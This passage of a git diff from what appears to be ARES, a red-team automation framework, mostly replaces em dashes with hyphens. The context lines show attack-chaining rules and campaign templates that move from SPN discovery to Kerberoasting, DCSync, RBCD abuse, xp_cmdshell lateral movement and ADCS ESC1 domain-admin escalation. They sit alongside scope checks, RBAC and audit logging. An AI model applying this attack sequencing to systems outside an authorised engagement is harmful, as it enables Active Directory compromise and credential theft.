{campaign_id[:8]}[/] to continue.",title="Resumed from Checkpoint",))@@ -590,11 +590,11 @@ def module_info(f" Category: {meta['category']}\n"f" OpSec: [yellow]{meta['opsec_level']}[/]\n"f" Author: {meta.get('author', 'ARES Team')}\n"- f" Requires: {', '.join(meta.get('requires', [])) or '—'}\n"- f" Outputs: {', '.join(meta.get('outputs', [])) or '—'}\n"+ f" Requires: {', '.join(meta.get('requires', [])) or ' - '}\n"+ f" Outputs: {', '.join(meta.get('outputs', [])) or ' - '}\n"f" MITRE: {', '.join(meta.get('mitre_list', []))}\n"+ (f"\n[bold]Techniques:[/]\n" + "\n".join(- f" [cyan]{t.technique_id}[/] {t.name} — [dim]{t.tactic}[/]"+ f" [cyan]{t.technique_id}[/] {t.name} - [dim]{t.tactic}[/]"for t in techs) if techs else ""),title=f"Module: {module_id}",@@ -655,8 +655,8 @@ def module_install(if result and result.get("success"):console.print(Panel(f"[green]✓ Installed {module_spec}[/]\n"- f" Version: {result.get('version', '—')}\n"- f" Path: [dim]{result.get('path', '—')}[/]\n"+ f" Version: {result.get('version', ' - ')}\n"+ f" Path: [dim]{result.get('path', ' - ')}[/]\n"f" Verified: {'[green]yes[/]' if result.get('verified') else '[yellow]no[/]'}",title="Module Installed",))@@ -780,7 +780,7 @@ def chain_suggest(suggestions = planner.suggest(ctx, limit=limit)if not suggestions:- console.print("[dim]No suggestions available — check registry modules.[/]")+ console.print("[dim]No suggestions available - check registry modules.[/]")returntable = Table(title=f"Suggestions for [{goal}] → {target}", show_lines=True)@@ -842,7 +842,7 @@ def report_generate(console.print(Panel("\n".join(f" [green]✓[/] [cyan]{fmt.upper()}[/] {path}"for fmt, path in result_paths.items()),- title=f"Report Generated — {c['name']}",+ title=f"Report Generated - {c['name']}",))else:console.print("[red]Report generation failed. Check logs.[/]")@@ -959,7 +959,7 @@ def signing_verify("unsigned": "dim", "invalid": "red", "revoked": "red"}.get(result.trust_level.value, "white")- icon = {"trusted": "✓", "community": "⚠", "unsigned": "—",+ icon = {"trusted": "✓", "community": "⚠", "unsigned": " - ","invalid": "✗", "revoked": "✗"}.get(result.trust_level.value, "?")console.print(@@ -1067,7 +1067,7 @@ async def _run_chain(console.print("[red]c-live-cli:chain-intent-invalid[/]")return- plan_table = RTable(title=f"Attack Plan — [{goal}]", show_lines=True)+ plan_table = RTable(title=f"Attack Plan - [{goal}]", show_lines=True)plan_table.add_column("#", width=4, style="dim")plan_table.add_column("Module", width=24, style="cyan")plan_table.add_column("Reason", width=46)@@ -1076,7 +1076,7 @@ async def _run_chain(for i, module_id in enumerate(modules, start=1):plan_table.add_row(- str(i), module_id, "deterministic configured chain", "—", "[dim]pending[/]",+ str(i), module_id, "deterministic configured chain", " - ", "[dim]pending[/]",)console.print(plan_table)@@ -1219,7 +1219,7 @@ def _display_result(module_id: str, result: dict) -> None:f" Findings: {result.get('findings', 0)}"+ findings_summary + "\n"f" Credentials: {result.get('new_credentials', 0)}\n"- f" New hosts: {', '.join(result.get('discovered_hosts', [])) or '—'}",+ f" New hosts: {', '.join(result.get('discovered_hosts', [])) or ' - '}",title=f"Module Result: {module_id}",))@@ -1307,7 +1307,7 @@ def doctor(from pathlib import Pathfrom ares.modules.ad.dependencies import AD_INSTALL_HINT, AD_SUPPORT_DEPENDENCIES- console.print("\n[bold]ARES Doctor[/bold] — prerequisite check\n")+ console.print("\n[bold]ARES Doctor[/bold] - prerequisite check\n")ok = warn = fail = 0@@ -1410,7 +1410,7 @@ def doctor(check(f"impacket {version_match[0]}", "ok", ">= 0.11 required")elif version_match:check(f"impacket {version_match[0]}", "warn",- f"too old ({version_match[0]}); expected >= 0.11 — upgrade: pip install --upgrade impacket")+ f"too old ({version_match[0]}); expected >= 0.11 - upgrade: pip install --upgrade impacket")else:check("impacket (AD/SMB modules)", "ok","importable; version unknown from source/local install")@@ -1574,7 +1574,7 @@ def doctor(check(f"{tool} ({desc})", "ok", path)else:check(f"{tool} ({desc})", "warn",- f"not in PATH — install: apt install {tool} (Linux) / brew install {tool} (macOS)")+ f"not in PATH - install: apt install {tool} (Linux) / brew install {tool} (macOS)")# ── network socket support ────────────────────────────────────────────────import socket as _socket@@ -1593,12 +1593,12 @@ def doctor(content = env_path.read_text()if "CHANGE_ME" in content:check(".env configured", "fail",- "CHANGE_ME placeholders found — run: ares-setup to generate secure keys")+ "CHANGE_ME placeholders found - run: ares-setup to generate secure keys")else:check(".env configured", "ok")else:check(".env file", "fail",- "Missing — run: cp .env.example .env && ares-setup")+ "Missing - run: cp .env.example .env && ares-setup")# Databasetry:@@ -1610,7 +1610,7 @@ def doctor(check("Database (SQLite)", "ok", db_path or ":memory:")except SystemExit:check("Settings loadable", "fail",- "env vars missing — fix: cp .env.example .env && ares-setup")+ "env vars missing - fix: cp .env.example .env && ares-setup")except Exception as exc:check("Settings loadable", "warn", str(exc)[:60])@@ -1621,7 +1621,7 @@ def doctor(console.print(f"[bold green]All {total} checks passed.[/bold green] ARES is ready.\n")elif fail == 0:console.print(f"[bold yellow]{ok}/{total} checks OK, {warn} warning(s).[/bold yellow]"- " ARES should work — optional tools missing.\n")+ " ARES should work - optional tools missing.\n")else:console.print(f"[bold red]{fail} check(s) failed.[/bold red]"f" Fix the [FAIL] items above, then re-run [cyan]ares doctor[/cyan].\n")@@ -2124,7 +2124,7 @@ def dashboard_dev(@app.command("quickstart")def quickstart() -> None:- """Guided wizard for first-time users — creates your first campaign."""+ """Guided wizard for first-time users - creates your first campaign."""import uuidconsole.print("\n[bold cyan]ARES Quick Start Wizard[/bold cyan]\n")@@ -2333,7 +2333,7 @@ def goal_run(console.print("[red]c-live-cli:goal-intent-invalid[/]")raise typer.Exit(1)- table = Table(title=f"[bold]Goal Preview — {goal}[/bold]", show_lines=True)+ table = Table(title=f"[bold]Goal Preview - {goal}[/bold]", show_lines=True)table.add_column("Step", style="cyan", width=5)table.add_column("Module", style="green")table.add_column("Reason")@@ -2343,7 +2343,7 @@ def goal_run(console.print(f"\n[dim]Estimated duration: {min(len(modules) * 3, 60)} min[/dim]")if dry_run:- console.print("[yellow]Preview only — no HTTP request or module code executed.[/yellow]")+ console.print("[yellow]Preview only - no HTTP request or module code executed.[/yellow]")returntry:@@ -2449,12 +2449,12 @@ def graph_show(f"Edges: [cyan]{stats['edges']}[/cyan] "f"High-value targets: [red]{stats['high_value']}[/red] "f"Attack paths: [yellow]{stats['attack_paths']}[/yellow]",- title=f"Attack Graph — Campaign {campaign_id[:8]}",+ title=f"Attack Graph - Campaign {campaign_id[:8]}",))paths = graph.top_paths(n=top_n)if not paths:- console.print("[dim]No attack paths found yet — run recon modules first.[/dim]")+ console.print("[dim]No attack paths found yet - run recon modules first.[/dim]")returnfor i, p in enumerate(paths, 1):@@ -2557,7 +2557,7 @@ def module_create(module_code = f'''\from __future__ import annotations"""-{class_name} — {desc_str}+{class_name} - {desc_str}MITRE ATT&CK: Fill in technique ID (e.g. T1558.003 for Kerberoasting)"""@@ -2587,7 +2587,7 @@ class {class_name}(BaseModule):{desc_str}Parameters:- target — target host IP or hostname+ target - target host IP or hostname# Add module-specific params here, e.g.:# target_port: int = 445, # target port number"""@@ -2638,7 +2638,7 @@ class {class_name}(BaseModule):)async def run(self, **kwargs: Any):- """Legacy interface — do not modify."""+ """Legacy interface - do not modify."""ctx = ExecutionContext.for_test(**kwargs)result = await self.execute(ctx)return result.findings, result.raw@@ -2716,7 +2716,7 @@ async def test_missing_target_raises(module):f" 2. Fill in [cyan]REQUIRES[/cyan], [cyan]OUTPUTS[/cyan], [cyan]mitre[/cyan] metadata\n"f" 3. Run tests: [cyan]pytest {test_file.name}[/cyan]\n"f" 4. Install: [cyan]ares module install ./{module_file.name}[/cyan]",- title=f"ares module create — {module_id}",+ title=f"ares module create - {module_id}",))diff --git a/ares/collab/__init__.py b/ares/collab/__init__.pyindex 263ea54..31d97f6 100644--- a/ares/collab/__init__.py+++ b/ares/collab/__init__.py@@ -1,5 +1,5 @@"""-ARES — collab+ARES - collabMulti-operator collaboration managerPublic API for this package. Import from here in production code:diff --git a/ares/collab/manager.py b/ares/collab/manager.pyindex 983d889..1227119 100644--- a/ares/collab/manager.py+++ b/ares/collab/manager.py@@ -3,10 +3,10 @@ ARES Multi-Operator CollaborationSupports multiple red team operators working on the same campaign.Roles:- TEAM_LEAD — full access: start/stop campaign, manage operators- OPERATOR — run modules, view findings, create artifacts- RECON — recon modules only (enumeration, no lateral/exploit)- REPORTER — read-only access to findings and artifacts+ TEAM_LEAD - full access: start/stop campaign, manage operators+ OPERATOR - run modules, view findings, create artifacts+ RECON - recon modules only (enumeration, no lateral/exploit)+ REPORTER - read-only access to findings and artifactsOperator session tracking:- Each operator has independent local session state@@ -19,8 +19,8 @@ Conflict prevention:- Warning emitted if two operators target same hostState synchronization:- - In-memory (single ARES process) — direct Python references- - Multi-process (Redis pub/sub) — JSON delta events+ - In-memory (single ARES process) - direct Python references+ - Multi-process (Redis pub/sub) - JSON delta events"""from __future__ import annotations@@ -74,13 +74,13 @@ def can_role_run_module(Priority:1. ROLE_PERMISSIONS prefix-based fast path- 2. Registry OPSEC_LEVEL fallback for RECON — LOW-opsec modules allowed+ 2. Registry OPSEC_LEVEL fallback for RECON - LOW-opsec modules allowedeven if their prefix isn't in RECON's listArgs:role: OperatorRole enum or plain string (e.g. "operator")module_id: Dotted module ID (e.g. "ad.kerberoast")- registry: Optional ModuleRegistry — enables dynamic OPSEC fallback+ registry: Optional ModuleRegistry - enables dynamic OPSEC fallbackReturns True if the role may run the module."""@@ -327,7 +327,7 @@ class CollaborationManager:arg2: str = "",module_id: str = "",) -> "tuple[bool, str] | str | None":- """Async-safe version of acquire_lock — use this from coroutines."""+ """Async-safe version of acquire_lock - use this from coroutines."""async with self._get_mutex():return self.acquire_lock(arg1, arg2, module_id)diff --git a/ares/core/__init__.py b/ares/core/__init__.pyindex b2809b1..4863564 100644--- a/ares/core/__init__.py+++ b/ares/core/__init__.py@@ -1,5 +1,5 @@"""-ARES — core+ARES - coreCore ARES data models and enginePublic API for this package. Import from here in production code:diff --git a/ares/core/campaign.py b/ares/core/campaign.pyindex c065ed8..d93d90f 100644--- a/ares/core/campaign.py+++ b/ares/core/campaign.py@@ -1,5 +1,5 @@"""-Campaign — tracks engagements, findings, scope, and audit trail.+Campaign - tracks engagements, findings, scope, and audit trail."""from __future__ import annotations@@ -70,7 +70,7 @@ class Finding(BaseModel):"""Weighted risk = severity.score × confidence.- This is the legacy/operational metric — higher means more urgent.+ This is the legacy/operational metric - higher means more urgent.It is used by the AttackPlanner to prioritize suggested next stepsand in CLI/dashboard summaries.@@ -89,7 +89,7 @@ class Finding(BaseModel):return enrich_finding_with_cvss(self)def to_dict(self) -> dict:- """Serialize to dict — compatible with sandbox/engine code that calls .to_dict()."""+ """Serialize to dict - compatible with sandbox/engine code that calls .to_dict()."""return self.model_dump(mode="json")def mark_false_positive(self, reason: str) -> None:@@ -121,7 +121,7 @@ class ScopeEntry(BaseModel):class AuditEntry(BaseModel):- """Immutable audit log entry — tracks every action."""+ """Immutable audit log entry - tracks every action."""id: str = Field(default_factory=lambda: str(uuid.uuid4()))timestamp: datetime = Field(default_factory=lambda: datetime.now(timezone.utc))actor: str = "system"@@ -225,7 +225,7 @@ class Campaign(BaseModel):if target and target in explicit_hosts:return True- # Not a valid IP literal — attempt DNS resolution+ # Not a valid IP literal - attempt DNS resolutionimport socket as _socketimport logging as _logging_log = _logging.getLogger("ares.campaign")@@ -235,7 +235,7 @@ class Campaign(BaseModel):try:_loop = _asyncio.get_event_loop()if _loop.is_running():- # Running inside async context — use run_in_executor to avoid blocking+ # Running inside async context - use run_in_executor to avoid blockingimport concurrent.futures as _cfwith _cf.ThreadPoolExecutor(max_workers=1) as _pool:results = _pool.submit(@@ -247,7 +247,7 @@ class Campaign(BaseModel):except RuntimeError:results = _socket.getaddrinfo(ip, None, _socket.AF_INET, _socket.SOCK_STREAM)if not results:- _log.warning("scope_check_dns_no_result: hostname %r resolved to nothing — BLOCKING", ip)+ _log.warning("scope_check_dns_no_result: hostname %r resolved to nothing - BLOCKING", ip)return False # Fail closedresolved_ip = results[0][4][0]from netaddr import IPAddress as _IPAddr@@ -263,14 +263,14 @@ class Campaign(BaseModel):return in_scopeexcept (_socket.gaierror, TimeoutError, Exception) as dns_exc:_log.warning(- "scope_check_dns_failed: hostname %r could not be resolved (%s) — BLOCKING "+ "scope_check_dns_failed: hostname %r could not be resolved (%s) - BLOCKING ""(add explicit IP to scope or ensure DNS is available)",ip, str(dns_exc)[:80],)- return False # Fail closed — unresolvable hostname is not in scope+ return False # Fail closed - unresolvable hostname is not in scopedef check(self, ip: str) -> bool:- """Alias for is_in_scope — used by guardrail consumers."""+ """Alias for is_in_scope - used by guardrail consumers."""return self.is_in_scope(ip)def summary(self) -> dict[str, int]:diff --git a/ares/core/capabilities.py b/ares/core/capabilities.pyindex 3ca7504..b5850af 100644--- a/ares/core/capabilities.py+++ b/ares/core/capabilities.py@@ -12,13 +12,13 @@ The sandbox enforces these at runtime:- CAP_FS → allowed to read/write local filesystem- CAP_DB → allowed to query ARES internal database- CAP_PROCESS → allowed to inspect/kill local processes (linux privesc)- - CAP_UNSAFE → no restrictions (HIGH_NOISE modules only — must be explicit)+ - CAP_UNSAFE → no restrictions (HIGH_NOISE modules only - must be explicit)Policy enforcement points:- 1. PluginLoader — verifies declared capabilities are acceptable for trust level- 2. SandboxRunner — enforces caps via seccomp + resource limits- 3. WorkerNode — worker dispatches to capability-matched workers- 4. API endpoint — operator role must have >= module's required caps+ 1. PluginLoader - verifies declared capabilities are acceptable for trust level+ 2. SandboxRunner - enforces caps via seccomp + resource limits+ 3. WorkerNode - worker dispatches to capability-matched workers+ 4. API endpoint - operator role must have >= module's required capsPrinciples:- Default: DENY ALL capabilities not explicitly declared@@ -96,10 +96,10 @@ class CapabilityPolicy:Enforces capability policy at module load time and execution time.Trust levels:- builtin — full capabilities including CAP_UNSAFE- community — CAP_NET, CAP_DB, CAP_FS only- external — CAP_NET, CAP_DB only (no filesystem writes)- unsigned — CAP_NET only (strictest)+ builtin - full capabilities including CAP_UNSAFE+ community - CAP_NET, CAP_DB, CAP_FS only+ external - CAP_NET, CAP_DB only (no filesystem writes)+ unsigned - CAP_NET only (strictest)"""TRUST_LEVEL_CAPS: dict[str, frozenset[Capability]] = {diff --git a/ares/core/chain/__init__.py b/ares/core/chain/__init__.pyindex e456590..a085bdd 100644--- a/ares/core/chain/__init__.py+++ b/ares/core/chain/__init__.py@@ -1,5 +1,5 @@"""-ARES — core.chain+ARES - core.chainAttack chain automation and dependency resolutionPublic API for this package. Import from here in production code:diff --git a/ares/core/chain/chain.py b/ares/core/chain/chain.pyindex 0fff0b6..adf96e7 100644--- a/ares/core/chain/chain.py+++ b/ares/core/chain/chain.py@@ -24,7 +24,7 @@ Manual chains can also be defined explicitly:AI suggestion integration:The ChainAdvisor analyzes confirmed findings- and suggests what to run next — "found SPN → suggest kerberoast".+ and suggests what to run next - "found SPN → suggest kerberoast"."""from __future__ import annotations@@ -67,9 +67,9 @@ class DependencyResolver:Example output:[- ["ad.enum_users", "ad.enum_computers"], # Stage 1 — parallel- ["ad.enum_spn", "ad.enum_acl"], # Stage 2 — parallel- ["ad.kerberoast", "ad.asreproast"], # Stage 3 — parallel+ ["ad.enum_users", "ad.enum_computers"], # Stage 1 - parallel+ ["ad.enum_spn", "ad.enum_acl"], # Stage 2 - parallel+ ["ad.kerberoast", "ad.asreproast"], # Stage 3 - parallel]"""ids = {n.module_id for n in nodes}@@ -244,7 +244,7 @@ class AttackChain:def auto(cls, registry: "ModuleRegistry", module_ids: list[str], name: str = "auto") -> "AttackChain":"""Build a chain automatically from module REQUIRES/OUTPUTS metadata.- The engine will figure out the right order — you just list module IDs.+ The engine will figure out the right order - you just list module IDs."""cap_resolver = CapabilityResolver(registry)nodes = cap_resolver.build_nodes(module_ids)@@ -290,7 +290,7 @@ class ChainAdvisor:"""Analyzes confirmed findings and suggests next attack modules.- This is rule-based, not ML — but structured so an LLM could+ This is rule-based, not ML - but structured so an LLM couldreplace the rule engine later.Example:@@ -313,7 +313,7 @@ class ChainAdvisor:rules = [(any("spn" in t for t in titles),- Suggestion("ad.kerberoast", "SPN accounts found — request TGS hashes", 0.95, 1),+ Suggestion("ad.kerberoast", "SPN accounts found - request TGS hashes", 0.95, 1),),(any("pre-auth disabled" in t or "asrep" in t for t in titles),@@ -325,52 +325,52 @@ class ChainAdvisor:),(any("docker socket" in t for t in titles),- Suggestion("linux.container", "Docker socket found — container escape possible", 0.90, 1),+ Suggestion("linux.container", "Docker socket found - container escape possible", 0.90, 1),),(any("suid" in t or "sudo nopasswd" in t for t in titles),- Suggestion("linux.privesc", "Privilege escalation vector found — enumerate further", 0.85, 1),+ Suggestion("linux.privesc", "Privilege escalation vector found - enumerate further", 0.85, 1),),(any("s3 public" in t or "imds" in t for t in titles),- Suggestion("cloud.aws", "AWS misconfiguration found — expand AWS enumeration", 0.80, 2),+ Suggestion("cloud.aws", "AWS misconfiguration found - expand AWS enumeration", 0.80, 2),),("T1558.003" in mitre_seen and "ad.dcsync" in {f.module_id for f in findings if hasattr(f, "module_id")},- Suggestion("ad.dcsync", "Kerberoast hashes obtained — if cracked, attempt DCSync", 0.70, 3),+ Suggestion("ad.dcsync", "Kerberoast hashes obtained - if cracked, attempt DCSync", 0.70, 3),),("critical" in severities,- Suggestion("ad.enum_acl", "Critical findings present — check for ACL abuse paths", 0.75, 2),+ Suggestion("ad.enum_acl", "Critical findings present - check for ACL abuse paths", 0.75, 2),),# ── New rules for Roadmap modules ─────────────────────────────────(any("genericwrite" in t and "computer" in t for t in titles),Suggestion("ad.delegation_abuse",- "GenericWrite on computer found — RBCD attack to local admin", 0.90, 2),+ "GenericWrite on computer found - RBCD attack to local admin", 0.90, 2),),(any("smb relay" in t or "smb_relay" in t for t in titles) andany("domain controller" in t or "is_dc" in t for t in titles),Suggestion("ad.coerce",- "SMB relay active + DC in scope — force DC authentication via coercion", 0.88, 1),+ "SMB relay active + DC in scope - force DC authentication via coercion", 0.88, 1),),(any("kerberoast" in t or "asrep" in t or "ntlm hash" in t for t in titles) andnot any("cracked" in t for t in titles),Suggestion("credential.crack",- "Uncracked hashes in vault — run hashcat/john to recover plaintext", 0.95, 1),+ "Uncracked hashes in vault - run hashcat/john to recover plaintext", 0.95, 1),),(any("mssql" in t or "sql server" in t or "1433" in t for t in titles),Suggestion("lateral.mssql",- "MSSQL detected — attempt xp_cmdshell lateral movement", 0.80, 2),+ "MSSQL detected - attempt xp_cmdshell lateral movement", 0.80, 2),),(any("esc1" in t or "esc2" in t or "adcs" in t or "certificate template" in tfor t in titles),Suggestion("ad.adcs",- "ADCS vulnerability found — exploit ESC1 for Domain Admin certificate", 0.92, 1),+ "ADCS vulnerability found - exploit ESC1 for Domain Admin certificate", 0.92, 1),),]diff --git a/ares/core/config.py b/ares/core/config.pyindex b9e1be7..c105042 100644--- a/ares/core/config.py+++ b/ares/core/config.py@@ -1,7 +1,7 @@"""ARES ConfigurationTyped settings loaded from environment / .env file.-No hardcoded secrets — ever.+No hardcoded secrets - ever."""from __future__ import annotations@@ -62,7 +62,7 @@ class LogSettings(BaseSettings):class AresSettings(BaseSettings):- """Master settings — loads from .env automatically."""+ """Master settings - loads from .env automatically."""model_config = SettingsConfigDict(env_file=".env",env_file_encoding="utf-8",@@ -98,7 +98,7 @@ class AresSettings(BaseSettings):ares_default_jitter_min_ms: int = Field(500, ge=0)ares_default_jitter_max_ms: int = Field(3000, ge=0)- # Redis (optional — enables multi-pod rate limiting)+ # Redis (optional - enables multi-pod rate limiting)# Set to empty string or omit to use in-process fallbackares_redis_url: str = Field(default="",@@ -111,7 +111,7 @@ class AresSettings(BaseSettings):ares_webhook_timeout: float = Field(default=5.0, description="HTTP timeout seconds")ares_webhook_retry: int = Field(default=2, ge=0, le=5, description="Max retries on failure")- # OpenTelemetry (optional — distributed tracing)+ # OpenTelemetry (optional - distributed tracing)ares_otel_endpoint: str = Field(default="", description="OTLP gRPC endpoint e.g. http://jaeger:4317")ares_otel_service: str = Field(default="ares-api", description="Service name in traces")ares_otel_sample_rate: float = Field(default=1.0, ge=0.0, le=1.0, description="Trace sampling rate")@@ -140,7 +140,7 @@ class AresSettings(BaseSettings):def trusted_hosts_list(self) -> list[str]:return [h.strip() for h in self.ares_trusted_hosts.split(",") if h.strip()]- # Bootstrap — initial admin password, must be set via ARES_DEFAULT_ADMIN_PASSWORD env var.+ # Bootstrap - initial admin password, must be set via ARES_DEFAULT_ADMIN_PASSWORD env var.# No default is provided; ARES will refuse to start if this is unset.# Rotate immediately after first login via POST /auth/change-password.ares_default_admin_password: str = Field(@@ -173,7 +173,7 @@ class AresSettings(BaseSettings):"ARES_JWT_ALGORITHM=RS256 requires ARES_JWT_PRIVATE_KEY_PATH. ""Generate: openssl genrsa -out jwt_private.pem 2048")- return self.ares_jwt_private_key_path # path — security.py loads the file+ return self.ares_jwt_private_key_path # path - security.py loads the filereturn self.secret_key_value@property@@ -189,7 +189,7 @@ class AresSettings(BaseSettings):"ARES_JWT_ALGORITHM=RS256 requires ARES_JWT_PUBLIC_KEY_PATH. ""Generate: openssl rsa -in jwt_private.pem -pubout -out jwt_public.pem")- return self.ares_jwt_public_key_path # path — security.py loads the file+ return self.ares_jwt_public_key_path # path - security.py loads the filereturn self.secret_key_value@property@@ -209,7 +209,7 @@ class AresSettings(BaseSettings):@lru_cache(maxsize=1)def get_settings() -> AresSettings:"""- Cached settings instance — call this everywhere.+ Cached settings instance - call this everywhere.Raises a clean, actionable error if required env vars are missing."""try:@@ -221,10 +221,10 @@ def get_settings() -> AresSettings:"\n\033[1m\033[31m❌ ARES not configured.\033[0m\n""\n"" Required environment variables are missing:\n"- " ARES_SECRET_KEY — generate: openssl rand -hex 32\n"- " ARES_ENCRYPTION_KEY — generate: python -c "+ " ARES_SECRET_KEY - generate: openssl rand -hex 32\n"+ " ARES_ENCRYPTION_KEY - generate: python -c ""'from cryptography.fernet import Fernet; print(Fernet.generate_key().decode())'\n"- " ARES_DEFAULT_ADMIN_PASSWORD — min 12 chars, rotate after first login\n"+ " ARES_DEFAULT_ADMIN_PASSWORD - min 12 chars, rotate after first login\n""\n"" \033[1mQuickest fix:\033[0m\n"" bash scripts/setup.sh\n"diff --git a/ares/core/context.py b/ares/core/context.pyindex d432b96..d847ea3 100644--- a/ares/core/context.py+++ b/ares/core/context.py@@ -55,15 +55,15 @@ class ExecutionContext(Generic[P]):Immutable after construction (fields are set once by the engine).Required fields:- target — IP address or hostname being attacked- campaign_id — which campaign this belongs to- module_id — which module will consume this context+ target - IP address or hostname being attacked+ campaign_id - which campaign this belongs to+ module_id - which module will consume this contextOptional but strongly recommended:- credentials — ordered list of credentials to try- session — shared operator session (host states, attack history)- params — module-specific parameters- operator — operator username for audit logging+ credentials - ordered list of credentials to try+ session - shared operator session (host states, attack history)+ params - module-specific parameters+ operator - operator username for audit logging"""# ── Identity ──────────────────────────────────────────────────────────@@ -86,7 +86,7 @@ class ExecutionContext(Generic[P]):primary_credential: Any = None # best credential to try first# ── Shared state ──────────────────────────────────────────────────────- # These are references — mutations visible to engine after execution+ # These are references - mutations visible to engine after executionsession: Any = None # OperatorSessionvault: Any = None # CredentialVaultartifact_store: Any = None # ArtifactStore@@ -105,7 +105,7 @@ class ExecutionContext(Generic[P]):# ── Audit ─────────────────────────────────────────────────────────────created_at: float = field(default_factory=time.time)- dry_run: bool = False # simulation mode — no real network calls+ dry_run: bool = False # simulation mode - no real network calls# ── Metadata ──────────────────────────────────────────────────────────tags: list[str] = field(default_factory=list)@@ -318,7 +318,7 @@ class ExecutionContext(Generic[P]):tags: list[str] | None = None,) -> "ExecutionContext":"""- Factory method — preferred way to create an ExecutionContext.+ Factory method - preferred way to create an ExecutionContext.Derives campaign_id and operator from the Campaign object."""return cls(diff --git a/ares/core/di.py b/ares/core/di.pyindex de4ebff..74d6e39 100644--- a/ares/core/di.py+++ b/ares/core/di.py@@ -10,7 +10,7 @@ Why DI:- Swapping Redis for in-process queue = one line change in container configDesign: Service Locator pattern (explicit registration, no magic reflection).-Not a full IoC container — ARES is a CLI tool, not a web server.+Not a full IoC container - ARES is a CLI tool, not a web server.Usage:# Production setup (in cli/main.py or api/server.py)@@ -54,18 +54,18 @@ class AresContainer:Supports both singletons (built once, reused) and factories (built on demand).Services registered by name:- "settings" — AresSettings- "registry" — ModuleRegistry- "engine" — AresEngine- "db" — AresDatabase- "vault" — CredentialVault- "telemetry" — TelemetryCollector- "cluster" — ClusterController- "collab" — CollaborationManager- "guardrail" — CampaignGuardrail- "sandbox" — SandboxRunner- "fingerprint" — EnvironmentFingerprinter- "kb" — AttackKnowledgeBase+ "settings" - AresSettings+ "registry" - ModuleRegistry+ "engine" - AresEngine+ "db" - AresDatabase+ "vault" - CredentialVault+ "telemetry" - TelemetryCollector+ "cluster" - ClusterController+ "collab" - CollaborationManager+ "guardrail" - CampaignGuardrail+ "sandbox" - SandboxRunner+ "fingerprint" - EnvironmentFingerprinter+ "kb" - AttackKnowledgeBase"""def __init__(self) -> None:@@ -109,7 +109,7 @@ class AresContainer:if name in self._singletons:return self._singletons[name]- # Lazy factories — build and cache as singleton+ # Lazy factories - build and cache as singletonif name in self._factories:instance = self._factories[name]()self._singletons[name] = instancediff --git a/ares/core/engine.py b/ares/core/engine.pyindex 9315dc8..114ec1f 100644--- a/ares/core/engine.py+++ b/ares/core/engine.py@@ -437,7 +437,7 @@ class AresEngine:self.load_modules()if self._registry is None:raise RuntimeError(- "ModuleRegistry not initialised — call load_modules() before accessing registry"+ "ModuleRegistry not initialised - call load_modules() before accessing registry")return self._registry@@ -506,7 +506,7 @@ class AresEngine:error=f"Module '{module_id}' not found. Run: ares module list",)- # ── RBAC check — role must be allowed to run this module ──────────+ # ── RBAC check - role must be allowed to run this module ──────────from ares.collab.manager import can_role_run_moduleif not can_role_run_module(actor_role, module_id, self.registry):@@ -524,8 +524,8 @@ class AresEngine:),)- # ── Scope pre-check — enforce before any module code runs ────────- # Cloud/reporting modules use API credentials, not host IPs — skip scope check+ # ── Scope pre-check - enforce before any module code runs ────────+ # Cloud/reporting modules use API credentials, not host IPs - skip scope check_NO_SCOPE_CATEGORIES = {"cloud", "reporting", "recon"}_target = params.get("target", "") or params.get("dc", "") or params.get("host", "")_module_category = (@@ -566,7 +566,7 @@ class AresEngine:t0 = time.monotonic()try:- # Build ExecutionContext — new v0.9.0+ interface+ # Build ExecutionContext - new v0.9.0+ interfacectx = ExecutionContext.build(campaign=campaign,target=params.get("dc") or params.get("host") or params.get("target", ""),@@ -585,7 +585,7 @@ class AresEngine:)# ── validate() before execute() ───────────────────────────- # Always call validate() first — lets modules fail fast with+ # Always call validate() first - lets modules fail fast with# informative errors before any network activity happens.# skip_validation=True is an escape hatch for tests / retries.if not skip_validation:@@ -626,7 +626,7 @@ class AresEngine:)# ── end validate ───────────────────────────────────────────- # Call execute(ctx) — preferred interface.+ # Call execute(ctx) - preferred interface.# Falls back to run(**ctx.params) via BaseModule.execute() default# for modules that haven't migrated yet.mark_effect_started(admitted_context)@@ -830,7 +830,7 @@ class AresEngine:except Exception as teardown_exc:logger.warning("engine_pivot_teardown_failed", error=str(teardown_exc)[:80])- # ALWAYS clean up credential artifacts — regardless of which modules ran.+ # ALWAYS clean up credential artifacts - regardless of which modules ran.# This runs unconditionally to prevent accumulation in 24/7 operation.try:from ares.core.security import cleanup_credential_artifacts@@ -853,7 +853,7 @@ class AresEngine:"""Validate each module's REQUIRES are satisfied by earlier stages.Returns list of warning dicts with module_id, missing_requirement, suggested_provider.- Called automatically in run_plan — warnings logged, never blocking.+ Called automatically in run_plan - warnings logged, never blocking."""warnings_out: list[dict[str, Any]] = []available_outputs: set[str] = set()@@ -878,7 +878,7 @@ class AresEngine:"missing_requirement": req,"suggested_provider": suggested,"message": (- f"'{mid}' requires '{req}' — "+ f"'{mid}' requires '{req}' - "f"add '{suggested}' to an earlier stage first"),}@@ -896,7 +896,7 @@ class AresEngine:global_params: dict[str, Any] | None = None,) -> dict[str, Any]:"""- Validate a plan without executing — pre-flight check.+ Validate a plan without executing - pre-flight check.Returns:dry_run: True@@ -1447,7 +1447,7 @@ class AresEngine:) -> EngineModuleResult:if self._semaphore is None:raise RuntimeError(- "Engine semaphore not initialised — engine was not started correctly"+ "Engine semaphore not initialised - engine was not started correctly")async with self._semaphore:if on_progress:@@ -1533,7 +1533,7 @@ CAMPAIGN_TEMPLATES: dict[str, dict] = {],},"ad_full_compromise": {- "description": "Full Active Directory compromise — recon to domain admin",+ "description": "Full Active Directory compromise - recon to domain admin","stages": [{"name": "recon",@@ -1579,7 +1579,7 @@ CAMPAIGN_TEMPLATES: dict[str, dict] = {],},"cloud_assessment": {- "description": "Multi-cloud security assessment — AWS, Azure, GCP",+ "description": "Multi-cloud security assessment - AWS, Azure, GCP","stages": [{"name": "cloud_enum",@@ -1605,7 +1605,7 @@ CAMPAIGN_TEMPLATES: dict[str, dict] = {],},"assumed_breach": {- "description": "Assumed breach — start with valid creds, test lateral + escalation",+ "description": "Assumed breach - start with valid creds, test lateral + escalation","stages": [{"name": "situational_awareness",diff --git a/ares/core/errors.py b/ares/core/errors.pyindex 3e1391d..05357d2 100644--- a/ares/core/errors.py+++ b/ares/core/errors.py@@ -12,9 +12,9 @@ Error categories and engine behavior:AresError (base)├─ ModuleError retry up to max_attempts, then skip- │ ├─ ModuleValidationError abort immediately — bad config, skip module+ │ ├─ ModuleValidationError abort immediately - bad config, skip module│ ├─ ModuleTimeoutError retry with backoff- │ └─ ModuleNotFoundError abort — no retry possible+ │ └─ ModuleNotFoundError 